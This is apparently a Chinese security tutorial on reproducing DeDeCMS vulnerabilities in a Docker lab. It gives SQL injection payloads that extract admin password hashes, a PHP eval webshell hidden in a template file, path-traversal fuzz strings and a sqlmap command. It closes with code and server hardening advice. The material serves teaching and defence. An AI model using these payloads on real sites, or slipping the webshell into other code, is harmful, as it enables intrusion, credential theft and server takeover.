DeDeCMS漏洞复现:从SQL注入到Getshell的Web安全实战剖析
1. 项目概述:为什么我们要复现DeDeCMS漏洞?
如果你是一名网站开发者、安全研究员,或者正在负责企业网站的安全运维,那么“DeDeCMS”这个名字你一定不陌生。作为国内早期最流行的内容管理系统之一,它承载了无数企业站、资讯站甚至政府门户网站。但正是这样一个“元老级”的系统,其安全漏洞的复现与研究,在今天依然具有极高的现实意义。这不仅仅是“炫技”或满足好奇心,而是关乎资产梳理、风险验证和防御加固的硬核实战。
我接触DeDeCMS超过十年,从早期的二次开发到后来的安全审计,亲眼见证了它从辉煌到逐渐淡出主流视野,但其遗留的“数字资产”却遍布互联网。很多单位的老旧网站依然在线上运行,无人维护,却存储着敏感数据。复现其漏洞,核心目的有三个:第一,验证自身或客户资产是否存在已知风险,这是安全评估的第一步;第二,深入理解漏洞原理,从而制定更精准的防御策略,而不是盲目地打补丁;第三,在授权范围内进行安全测试,提升应急响应能力。网络上流传的“dedecms更新列表太慢了”等抱怨,背后往往就隐藏着因系统老旧、补丁缺失而引发的更深层次的安全危机。
本次复现,我们将聚焦于DeDeCMS历史上几个具有代表性的高危漏洞。我不会仅仅给出一个攻击载荷(Payload)让你去“碰运气”,而是会带你深入代码层,理解漏洞的根源、利用条件以及每一步操作背后的逻辑。无论是经典的SQL注入、文件上传,还是涉及后台权限的Getshell漏洞,我们都会逐一拆解。这对于安全新手来说,是一次绝佳的Web安全实战入门;对于有经验的老手,也是一次系统性的知识梳理和原理深化。
2. 漏洞复现环境搭建与核心思路解析
工欲善其事,必先利其器。一个稳定、隔离的测试环境是安全研究的基石。盲目在公网或生产环境测试是绝对的大忌。
2.1 靶场环境快速部署
我们的目标是快速搭建一个包含漏洞版本的DeDeCMS测试环境。最推荐的方式是使用Docker,它能实现环境的秒级构建与销毁,完美隔离。
首先,我们需要确定一个存在已知漏洞的DeDeCMS版本。例如,V5.7 SP2版本在历史上就曝出过多个高危漏洞。你可以在一些开源漏洞库或历史镜像站找到其安装包。
1. 准备Docker与编写Dockerfile我习惯在本地使用Docker Desktop,在Linux服务器上则直接使用Docker Engine。假设我们已经在工作目录下载了DeDeCMS V5.7 SP2的压缩包(DedeCMS-V5.7-UTF8-SP2.tar.gz)。
创建一个Dockerfile,内容如下:
FROM php:5.6-apache RUN apt-get update && apt-get install -y \ libpng-dev \ libjpeg-dev \ libfreetype6-dev \ && docker-php-ext-configure gd --with-freetype-dir=/usr/include/ --with-jpeg-dir=/usr/include/ \ && docker-php-ext-install gd mysqli pdo pdo_mysql zip RUN a2enmod rewrite COPY ./DedeCMS-V5.7-UTF8-SP2.tar.gz /var/www/html/ WORKDIR /var/www/html RUN tar -zxvf DedeCMS-V5.7-UTF8-SP2.tar.gz --strip-components=1 \ && rm DedeCMS-V5.7-UTF8-SP2.tar.gz \ && chmod -R 755 /var/www/html \ && chown -R www-data:www-data /var/www/html这个Dockerfile做了几件事:基于老旧的PHP 5.6和Apache镜像(匹配DeDeCMS的运行环境);安装必要的GD库、MySQL扩展;启用URL重写;将源码解压到Web根目录并设置好权限。
2. 构建与运行容器在Dockerfile所在目录执行:
docker build -t dedecms-vuln:5.7 . docker run -d -p 8080:80 --name dede-test dedecms-vuln:5.7现在,访问http://localhost:8080就能看到DeDeCMS的安装界面了。同时,你需要启动一个MySQL容器(版本建议5.5或5.6)来提供数据库服务:
docker run -d -p 3306:3306 --name dede-mysql \ -e MYSQL_ROOT_PASSWORD=root123 \ -e MYSQL_DATABASE=dedecms \ mysql:5.6在安装界面填写数据库信息(主机填你的Docker宿主机IP或容器链接后的服务名),即可完成安装。
注意:永远不要在公网服务器上以这种简单配置运行带漏洞的CMS,即使是在测试后,也务必及时销毁容器(
docker rm -f dede-test dede-mysql)。
2.2 复现的核心方法论:黑盒与白盒结合
单纯的“按图索骥”运行一个EXP(漏洞利用程序)意义有限。我主张采用“黑盒测试触发,白盒分析溯源”的方法。
- 黑盒测试:就像攻击者一样,在不看源代码的情况下,通过工具(如Burp Suite)或手工构造畸形请求,向目标系统输入特殊数据,观察其响应(如报错信息、页面内容变化),从而判断漏洞是否存在及大致位置。这是复现的第一步。
- 白盒分析:在黑盒测试找到可疑点后,立即翻开源代码,定位到对应的处理函数或文件。通过阅读代码,理解为什么我们的输入会导致漏洞(例如,用户输入未经过滤就直接拼接进SQL语句)。这一步是理解漏洞本质的关键。
例如,当我们通过扫描器或经验猜测/plus/search.php可能存在SQL注入时,黑盒测试会尝试提交keyword=test'来触发数据库报错。一旦看到MySQL语法错误信息,我们就立刻去查看/plus/search.php中处理$keyword变量的代码,看它是否直接用于$dsql->ExecuteNoneQuery()或类似的SQL执行函数中,而没有经过addslashes()或htmlspecialchars()等过滤。
这种结合的方式,能让你从“脚本小子”进阶到“漏洞分析者”。接下来,我们就用这种方法,剖析几个经典漏洞。
3. 核心漏洞原理深度剖析与手工复现
DeDeCMS的漏洞主要集中在几个模块:会员中心(member)、内容采集(co)、搜索(plus/search)、友情链接(plus/flink)以及后台部分功能。我们挑选两个最具代表性的进行深度拆解。
3.1 会员中心(member)SQL注入漏洞(CVE-XXXX-XXXXX)
这个漏洞影响广泛,其根源在于对用户传入的mid参数处理不当。mid是会员ID,在很多会员中心页面(如/member/index.php)都会用到。
漏洞原理分析:我们查看/member/index.php的源代码(以某个历史漏洞版本为例)。通常会看到类似这样的代码:
$mid = isset($mid) && is_numeric($mid) ? $mid : 0; ... $sql = "SELECT * FROM `#@__member` WHERE mid='$mid'";乍一看,它用is_numeric()检查了mid,似乎是安全的。但问题出在代码逻辑的覆盖不完整和全局变量注册机制(register_globals,在老版本PHP中默认为On,或DeDeCMS自定义了类似机制)上。攻击者可以通过POST或GET传递一个数组形式的mid,例如mid[0]=exp&mid[1]=...。在某些特定的代码分支或包含的文件中,如果对$mid的赋值或类型转换处理不当,就可能绕过is_numeric()检查,导致$mid被拼接进SQL语句时,其内容(可能包含SQL语句)被直接执行。
更常见的一种情况是,在/member/edit_fullinfo.php等文件中,存在对$mid的二次赋值或从Cookie中获取,但过滤不严。例如:
$mid = $_COOKIE['DedeUserID']; $query = "UPDATE `#@__member` SET ... WHERE mid='$mid' AND ...";如果Cookie中的DedeUserID可以被用户篡改(通过其他漏洞或客户端修改),且这里没有进行严格的整数类型强制转换(如intval($mid)),就会导致注入。
手工复现步骤:
- 定位入口:访问
http://your-target/member/index.php。正常情况会跳转到登录页。 - 构造Payload:我们利用Burp Suite拦截任何一个会员功能的请求(比如登录请求
/member/index_do.php),在POST数据或Cookie中添加恶意参数。- 假设我们发现
/member/edit_fullinfo.php的更新操作存在漏洞。我们首先需要有一个低权限会员账号(这是此类漏洞常见的限制条件)。 - 登录后,拦截修改个人资料的请求(通常提交到
/member/edit_fullinfo.php)。 - 在POST数据体中,找到类似于
mid=123的参数,将其修改为注入Payload。例如,测试注入点:mid=123' AND SLEEP(5)--。这里SLEEP(5)是MySQL的函数,如果服务器响应延迟了大约5秒,说明该参数存在基于时间的盲注漏洞。 - 更高级的Payload可以用于获取数据:
mid=-1' UNION SELECT 1,2,3,CONCAT(userid,':',pwd),5,6,7 FROM dede_admin --。这里假设字段数匹配,且dede_admin是管理员表,CONCAT用于拼接出管理员账号和密码哈希值。
- 假设我们发现
- 观察与验证:发送请求,观察服务器响应。如果返回了异常信息(如SQL报错)、页面内容包含了数据库数据(如将
2和3显示在了页面上),或者响应时间显著延迟,则证明漏洞存在。 - 代码溯源:根据触发点,找到对应的PHP文件,查看
$mid变量是如何被获取、过滤和使用的,从而彻底理解漏洞成因。
实操心得:对于这类注入,Burp Suite的Intruder模块配合时间延迟探测(
SLEEP)是检测盲注的利器。但要注意,频繁的SLEEP请求可能会被WAF(Web应用防火墙)识别。在实际授权测试中,应使用更温和、更隐蔽的Payload,并控制请求频率。
3.2 后台模板文件Getshell漏洞
这是DeDeCMS后台一个极其危险的漏洞,允许拥有后台管理员权限的攻击者直接写入Webshell,获取服务器控制权。其本质是文件写入功能未对内容进行安全过滤。
漏洞原理分析:DeDeCMS后台提供了在线编辑模板文件(.htm)的功能,路径通常是/dede/templets_one_edit.php或/dede/templets_edit.php。其核心操作是接收文件名(filename)和文件内容(str),然后使用file_put_contents()或fwrite()函数将内容写入指定文件。
漏洞的关键在于,写入的内容$str直接来自于表单提交,系统可能只检查了文件后缀(必须是.htm或.html),但没有对文件内容进行任何安全检查。PHP代码可以被包裹在HTML注释或者某些特定的模板标签中绕过简单的检查。
例如,正常的模板文件内容是HTML。但攻击者可以提交如下内容:
<html> <body> Normal HTML here... <?php @eval($_POST['cmd']); ?> </body> </html>如果这个文件被保存为.htm,并且所在的目录具有执行PHP的权限(在配置不当的服务器上,有时会对整个网站目录授予执行权限),那么访问这个.htm文件时,其中的PHP代码就会被服务器执行。@eval($_POST['cmd'])是一句话木马,攻击者可以通过POST传递cmd参数执行任意系统命令。
手工复现步骤:
- 获取后台权限:这是前提。可以通过前述的SQL注入漏洞获取管理员密码哈希,然后破解或利用密码重置漏洞;或者在某些极旧版本或配置失误的系统中存在默认弱口令(admin/admin)。
- 定位编辑功能:登录后台,找到“模板管理”或“系统”->“模板管理”下的“编辑模板文件”或“修改主页模板”等功能。
- 写入Webshell:
- 选择一个已有的模板文件进行“编辑”,例如
index.htm。 - 在编辑框中,在原有HTML代码的末尾或任意位置,插入上述的PHP一句话木马代码。为了隐蔽,可以将其放在HTML注释中:
<!--<?php @eval($_POST['pass']);?>-->。 - 点击“保存”。
- 选择一个已有的模板文件进行“编辑”,例如
- 验证与利用:
- 确定保存后的文件可访问URL,例如
http://your-target/templets/default/index.htm。 - 使用中国菜刀(Cknife)、蚁剑(AntSword)或哥斯拉(Godzilla)等Webshell管理工具连接。连接地址就是该htm文件的URL,密码是
pass(即$_POST['pass'])。 - 如果连接成功,即可在工具中执行命令、浏览目录、上传下载文件,完全控制服务器。
- 确定保存后的文件可访问URL,例如
注意事项:这是一个破坏性极强的漏洞。在授权测试中,写入的Webshell必须及时删除。此外,现代WAF和主机安全软件会对这类包含
eval($_POST[)的经典木马特征进行检测。在实际利用中,攻击者会使用各种编码、混淆变形技术来绕过检测,例如使用assert、create_function或通过拼接字符串来动态构造函数名。作为防御方,根本措施是严格控制后台权限、禁用不必要的模板编辑功能,并对模板目录设置严格的不可执行权限。
4. 漏洞挖掘与利用的进阶技巧
掌握了已知漏洞的复现,我们可以更进一步,尝试在未知版本或补丁不全的系统上进行漏洞挖掘。这需要更系统的思路和工具辅助。
4.1 静态代码审计入门
对于DeDeCMS这类开源系统,静态审计是最直接的方法。你可以使用类似Seay源代码审计系统这样的工具,也可以使用VS Code等编辑器配合正则表达式搜索。
关键搜索模式:
- 查找SQL执行点:在项目中全局搜索关键词,如
ExecuteNoneQuery、Execute、query、GetOne、dsql->。找到这些函数调用后,向上追溯其参数来源,看是否直接包含了$_GET、$_POST、$_COOKIE、$_REQUEST等超全局变量。 - 查找文件操作点:搜索
file_put_contents、fwrite、fopen、copy、move_uploaded_file、unlink(删除文件也可能构成漏洞)。重点关注这些函数的第一个参数(文件名)和第二个参数(内容)是否用户可控。 - 查找包含函数:搜索
include、require、include_once、require_once。如果包含的文件路径用户可控,就可能造成本地文件包含(LFI)或远程文件包含(RFI)漏洞。在DeDeCMS中,$cfg_templets_dir、$cfg_cmspath等变量常被用于拼接路径,需要检查其是否被污染。 - 查找命令执行点:搜索
exec、system、passthru、shell_exec、反引号(`)。这类漏洞在CMS中较少,但在一些采集、数据备份模块中可能出现。
审计流程示例:假设我们搜索file_put_contents,在文件/dede/sys_verifies.php中发现如下代码:
$filename = $cfg_basedir . $cfg_templets_dir . '/admin/verifies.txt'; $content = $_POST['vcode']; file_put_contents($filename, $content);这里$content直接来自$_POST[‘vcode’],且写入的文件路径固定。虽然文件名是.txt,但如果服务器错误配置了MIME类型或解析漏洞,仍可能构成风险。更危险的是,如果$filename的一部分也用户可控(比如通过$_POST[‘tpl’]来指定模板子目录),就可能实现任意文件写入。
4.2 动态模糊测试(Fuzzing)
对于黑盒测试,除了手工测试,我们可以使用工具进行半自动化的模糊测试。
- 使用Burp Suite Intruder:对每一个参数(包括Cookie、Header)进行Fuzzing。准备两份字典:一份是常见的SQL注入Payload列表(如
'、"、1' AND '1'='1、1' AND SLEEP(5)--),另一份是文件路径遍历Payload(如../../../../etc/passwd、....//....//....//windows/win.ini)。通过对比响应长度、时间、状态码和内容,来发现潜在的注入点或文件包含漏洞。 - 使用特定扫描器:如
sqlmap、XSStrike等。对于DeDeCMS,可以先用爬虫(如Burp Spider或AWVS的爬虫)爬取所有链接和表单,然后将请求导出为文件,交给sqlmap进行批量检测:sqlmap -r request.txt --batch --level 3 --risk 2。sqlmap能自动识别参数、测试各种注入技术,并尝试获取数据。 - 关注非标准入口:不要只盯着
.php文件。DeDeCMS的/data、/uploads、/images目录下可能存在配置文件、缓存文件、上传文件,这些有时也会因为权限设置不当或内容可控而成为漏洞点。例如,/data/config.cache.inc.php可能包含数据库密码,如果该文件能被外部访问,就导致信息泄露。
5. 漏洞修复方案与安全加固实践
复现漏洞的最终目的是为了修复和防御。针对上述漏洞,修复措施需要从代码层和运维层双管齐下。
5.1 代码层修复建议
- SQL注入:
- 参数化查询(Prepared Statements):这是根本解决方案。将DeDeCMS中所有使用
$dsql->ExecuteNoneQuery()等函数的地方,逐步改造为使用参数化查询。例如,使用PDO或MySQLi的预处理语句。 - 严格类型转换:对所有期望为整型的输入参数,强制使用
intval()或(int)进行转换。例如$mid = intval($_GET[‘mid’]);。 - 使用框架的安全函数:如果无法大改,确保所有用户输入在进入SQL前,都经过
addslashes()(注意魔术引号问题)或DeDeCMS自带的_RunMagicQuotes()、CheckSql()函数过滤。但要注意,这些函数并非万能,对宽字节等特殊注入可能无效。
- 参数化查询(Prepared Statements):这是根本解决方案。将DeDeCMS中所有使用
- 文件写入Getshell:
- 内容过滤:在写入模板文件的功能中,增加对文件内容的严格检查。可以使用正则表达式过滤掉
<?php、<?=、<script language=”php”>等PHP标签,或者只允许安全的HTML和模板标签。 - 目录权限隔离:将模板目录(
/templets)设置为仅可读不可写,在线编辑功能改为写入一个临时目录,然后通过后台的“文件移动”功能(由具有系统权限的进程执行)进行覆盖。这样即使写入恶意内容,也无法直接访问执行。 - 禁用危险函数:在
php.ini中,将disable_functions设置为包含eval,assert,system,exec,shell_exec,passthru,proc_open等危险函数。
- 内容过滤:在写入模板文件的功能中,增加对文件内容的严格检查。可以使用正则表达式过滤掉
- 文件上传漏洞:
- 白名单校验:不仅校验文件后缀(如
.jpg,.png),更要校验文件MIME类型,甚至进行文件头检查。 - 重命名与目录隔离:上传的文件不要使用用户原始文件名,应使用随机字符串(如MD5(时间戳+随机数))重命名,并统一存放在非Web可访问目录或至少不可执行的目录(通过配置Nginx/Apache禁止该目录解析PHP)。
- 图片二次渲染:对于图片上传,使用GD库或ImageMagick对图片进行重新压缩或裁剪,可以破坏隐藏在图片中的恶意代码。
- 白名单校验:不仅校验文件后缀(如
5.2 系统运维层加固
- 最小权限原则:
- Web服务器进程(如www-data, apache用户)的运行权限应尽可能低。数据库用户不应使用root,而应为DeDeCMS创建专属用户,并只授予其特定数据库的增删改查权限,禁止
FILE、PROCESS等高级权限。 - 文件和目录权限遵循“755(目录)/644(文件)”原则,即所有者可读写,其他人只读。对于
/data、/uploads等需要写入的目录,权限可设为755,但务必确保其中无.php、.phtml等可执行文件。
- Web服务器进程(如www-data, apache用户)的运行权限应尽可能低。数据库用户不应使用root,而应为DeDeCMS创建专属用户,并只授予其特定数据库的增删改查权限,禁止
- 部署Web应用防火墙(WAF):在DeDeCMS前端部署WAF,如ModSecurity(开源)或商业WAF产品。WAF可以基于规则库拦截常见的SQL注入、XSS、文件包含等攻击请求。即使CMS本身有漏洞,WAF也能提供一道有效的防线。
- 定期更新与漏洞监控:
- 尽管DeDeCMS官方已停止更新,但对于仍在使用的系统,应密切关注第三方安全社区(如Seebug、CNVD)是否有新的漏洞披露。
- 定期对系统进行安全扫描,可以使用Nessus、OpenVAS等漏洞扫描器,或聘请专业的安全团队进行渗透测试。
- 最重要的一点:制定迁移计划。对于核心业务系统,应尽快从DeDeCMS这类已停止维护的CMS迁移到活跃维护、安全性更高的现代框架或CMS(如WordPress(需精心配置)、Drupal或国内的一些新兴CMS),这是治本之策。
漏洞复现是一场攻防视角的思维训练。从攻击中理解防御的薄弱点,从防御的角度去思考攻击的路径。对于DeDeCMS,它更像是一个Web安全的“历史博物馆”,里面的许多漏洞模式在今天的新型应用中依然以不同的形式存在。通过亲手搭建、分析、利用和修复这些漏洞,你构建的不仅仅是对一个特定系统的认知,更是一套适用于大部分Web应用的安全评估方法论。在实战中,最大的风险往往不是已知的漏洞,而是对未知风险的漠视和对老旧系统“还能用就行”的侥幸心理。